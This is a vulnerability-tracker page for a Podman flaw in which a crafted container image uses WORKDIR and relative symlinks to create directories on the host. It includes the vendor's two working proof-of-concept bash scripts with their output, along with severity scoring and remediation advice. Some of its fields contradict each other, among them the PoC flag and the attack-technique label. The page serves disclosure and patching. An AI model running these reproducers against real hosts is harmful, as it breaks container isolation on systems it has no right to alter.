Skip to main content

Podman CVE-2026-55686

| EUVDEUVD-2026-39808 MEDIUM
Improper Link Resolution Before File Access (CWE-59)
2026-06-18 https://github.com/podman-container-tools/podman GHSA-q6r4-3wmg-fwcq
5.3
CVSS 3.1 · Vendor: https://github.com/podman-container-tools/podman
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker crafts malicious Containerfile with traversal symlinks
  2. Delivery
    Image published to accessible container registry
  3. Exploit
    Victim pulls and executes image via podman run
  4. Execution
    Podman resolves WORKDIR following symlink outside container root
  5. Impact
    Host directory created at attacker-chosen path with container USER ownership

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Symlink resolution safety
Exploitation Conditions

Exploitation requires that a victim operator executes podman run (or an equivalent API call) using a malicious container image where: (1) the Containerfile includes a RUN instruction creating one or more symlinks pointing to a path outside the container root using relative traversal sequences (e.g., ln -s ../../../../../var symlink), and (2) the WORKDIR directive resolves through those symlinks to a non-existent target directory on the host. The directory creation succeeds when the target path does not already exist on the host. A second, significantly harder variant - host ownership modification - additionally requires a concurrent, separately controlled malicious process actively mutating the host filesystem tree during the symlink dereference window, creating a race condition; this is described by the vendor as 'less likely.' Exploitation is limited by: the need to execute the malicious image on the specific target host; the directory creation only uses the UID/GID declared in the image's USER instruction, not root; and rootless Podman users without elevated system privileges can trigger this but the created host directory is owned by a non-root UID. Image signing enforcement, registry allowlisting, or restriction of who can execute podman run on the host all serve as limiting factors.

Impact

Several signals in the provided data conflict and require reconciliation. The NVD-assigned CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U) deserves scrutiny on multiple metrics. The network attack vector (AV:N) appears to model the image distribution channel (pulling from a registry) rather than the actual exploitation path, which requires local execution of the container on the host - AV:L is more technically accurate for the impact phase. The unchanged scope (S:U) conflicts with the fundamental nature of this bug: host filesystem modification outside the container boundary is a textbook scope change (S:C); this appears to be an underscoring of the vector. The PR:N metric is defensible for rootless Podman deployments where unprivileged system users can run containers without elevated rights. EPSS data was not provided. No CISA KEV listing exists, so there is no confirmed widespread active exploitation. However, working PoC scripts are publicly disclosed in the advisory, lowering the exploitation bar significantly. Practical impact is bounded: an attacker can create directories on the host at attacker-chosen paths (and potentially change ownership via a harder-to-trigger race condition), but cannot read data or execute code on the host through this vector alone. This makes it a moderate-severity container isolation escape rather than a critical RCE, but still consequential on shared or multi-tenant container hosts where path integrity matters.

Exploit ScenarioDerived

An attacker publishes a malicious container image to a public or accessible registry; the image's Containerfile embeds a symlink (e.g., /symlink -> ../../../../../var) and sets WORKDIR /symlink/BREAKOUT. When an operator or automated CI/CD pipeline runs this image against a vulnerable Podman installation using podman run, Podman's WORKDIR resolution follows the symlink chain outside the container root and calls os.MkdirAll on /var/BREAKOUT directly on the host filesystem. A working PoC reproducer script (test1.bash) from the vendor advisory demonstrates this creates the directory owned by the UID/GID specified in the container's USER directive, without requiring any host-side privileges beyond the ability to execute podman run.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 18, 2026

WORKDIR symlink traversal in Podman allows a malicious container image to create arbitrary directories - and under a race condition, modify ownership - directly on the host filesystem, breaking container isolation. Affected versions include Podman v5 through 5.7.0, v4 through 4.9.5, and v3 through 3.4.7; the flaw is in the WORKDIR path resolution logic, which fails to confine symlink dereferences to the container's mount namespace. Public proof-of-concept scripts are included in the vendor's GitHub advisory (GHSA-q6r4-3wmg-fwcq); no active exploitation has been confirmed via CISA KEV.

RemediationAI

Upgrade to Podman 5.7.1 or later, which replaces the vulnerable symlink resolution logic with securejoin.SecureJoin() (patch commits 7ce2e00ab140c11a68301f0b161f51984131a858 and d18e44e9abb3bf5b7294aa70806e1368fdddfdd0, vendor advisory https://github.com/podman-container-tools/podman/security/advisories/GHSA-q6r4-3wmg-fwcq). No confirmed fix exists for Podman v4 or v3 branches; users on those versions should evaluate migration to v5.7.1+ or treat those deployments as unpatched. As a compensating control where an immediate upgrade is not feasible, enforce image signature verification and allowlist only known-trusted image sources before permitting podman run - this prevents execution of attacker-crafted images but adds operational overhead for image management. Restricting which OS users are permitted to invoke podman run (including limiting rootless Podman access) reduces the attack surface but does not eliminate the risk for authorized image sources. Note that blocking network access to public registries would prevent image pull but not exploitation from locally cached or internally hosted malicious images.

Affected VersionsENISA

podman 3.0.0, < 5.7.1

Affected Packages

go github.com/containers/podman no fix
go github.com/containers/podman/v2 no fix
go github.com/containers/podman/v3 no fix
go github.com/containers/podman/v4 no fix
go github.com/containers/podman/v5 fix: 5.7.1
euvd podman_3_0_0 fix: 5.7.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 6 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is rooted in CWE-59 (Improper Link Resolution Before File Access). In the affected code, libpod/container_internal_common.go resolves the WORKDIR directive through a custom resolvePath() plus isWorkDirSymlink() chain. This logic attempts to follow symlinks within the container's filesystem layer but does not enforce that the final resolved path stays within the container's chroot/mount namespace. A crafted image can embed relative symlinks (e.g., /symlink -> ../../../../../var) and set WORKDIR to a path that traverses these links, causing Podman - at container startup, before the OCI runtime takes over - to call os.MkdirAll on a host path derived from the dangling symlink chain. The fix (commits 7ce2e00 and d18e44e) replaces this logic with securejoin.SecureJoin(), a well-established library function that resolves symlinks while remaining confined to the specified root. Affected CPEs: pkg:go/github.com_containers_podman_v5, pkg:go/github.com_containers_podman_v4, pkg:go/github.com_containers_podman_v3.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/podman-container-tools/podman) PRIMARY 5.3 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
vuln.today AI 3.8 LOW

Local execution of the container image is required (AV:L, PR:L); host filesystem modification outside the container boundary constitutes a scope change (S:C); impact is integrity-only directory creation (I:L, C:N, A:N).

3.1 AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N
4.0 AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N
SUSE 3.3 MEDIUM
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Red Hat 5.8 MEDIUM

Primary rating from Vendor (https://github.com/podman-container-tools/podman).

CVSS VectorVendor: https://github.com/podman-container-tools/podman

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.

Patch

https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0

Details

This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)

PoC

The reproducer script _test1.bash_ demonstrates the vulnerability. The directory /var/BREAKOUT is created on the host. The container process uses the container directory /var/BREAKOUT as current working directory.

The reproducer script _test2.bash_ demonstrates the same vulnerability. The directory /var/BREAKOUT is created on the host. The container process uses the container directory /usr/local as current working directory.

The reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory.

Reproducer test1.bash

#!/bin/bash
set -o errexit
set -o nounset

if [ -e /var/BREAKOUT ]; then
  echo error: path /var/BREAKOUT should not exist beforehand
  exit 1
fi

dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
RUN cd / && ln -s ../../../../../../../var symlink
USER 1234:1234
WORKDIR /symlink/BREAKOUT
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF

podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT

Reproducer test2.bash

#!/bin/bash
set -o errexit
set -o nounset

if [ -e /var/BREAKOUT ]; then
  echo error: path /var/BREAKOUT should not exist beforehand
  exit 1
fi

dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
ARG breakout_dirname=/var
ARG breakout_basename=BREAKOUT
ARG produce_pwd=/usr/local
RUN mkdir -p /0/1/2/3 && \
    cd /0 && \
    ln -s 1/2/3 symlink1 && \
    mkdir -p /0/1/symlink2/${breakout_dirname} && \
    cd /0/1/symlink2/${breakout_dirname} && \
    ln -s ${produce_pwd} ${breakout_basename}
RUN cd / && ln -s ../../../../../../.. symlink2
USER 1234:1234
WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename}
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF

podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT

Vulnerable:

podman 5.7.0 using Fedora CoreOS 43.20251120.3.0

root@localhost:~
# bash test1.bash
38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80
current working directory: /var/BREAKOUT
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT
root@localhost:~
# rmdir /var/BREAKOUT/
root@localhost:~
# bash test2.bash
c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9
current working directory: /usr/local
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT

Not vulnerable:

podman 5.7.1 using Fedora CoreOS 43.20260119.1.1

root@localhost:~
# bash test1.bash
0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788
current working directory: /var/BREAKOUT
ls: cannot access '/var/BREAKOUT': No such file or directory
root@localhost:~
# bash test2.bash
568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60
current working directory: /usr/local
ls: cannot access '/var/BREAKOUT': No such file or directory

Credits

We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.

Threat Intelligence Overview

EPSS Score
0.3%
Top 77% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise Micro 5.3 Affected
SUSE Linux Enterprise Micro 5.4 Affected
SUSE Linux Enterprise Micro 5.5 Affected
SUSE Linux Enterprise Module for Containers 15 SP7 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy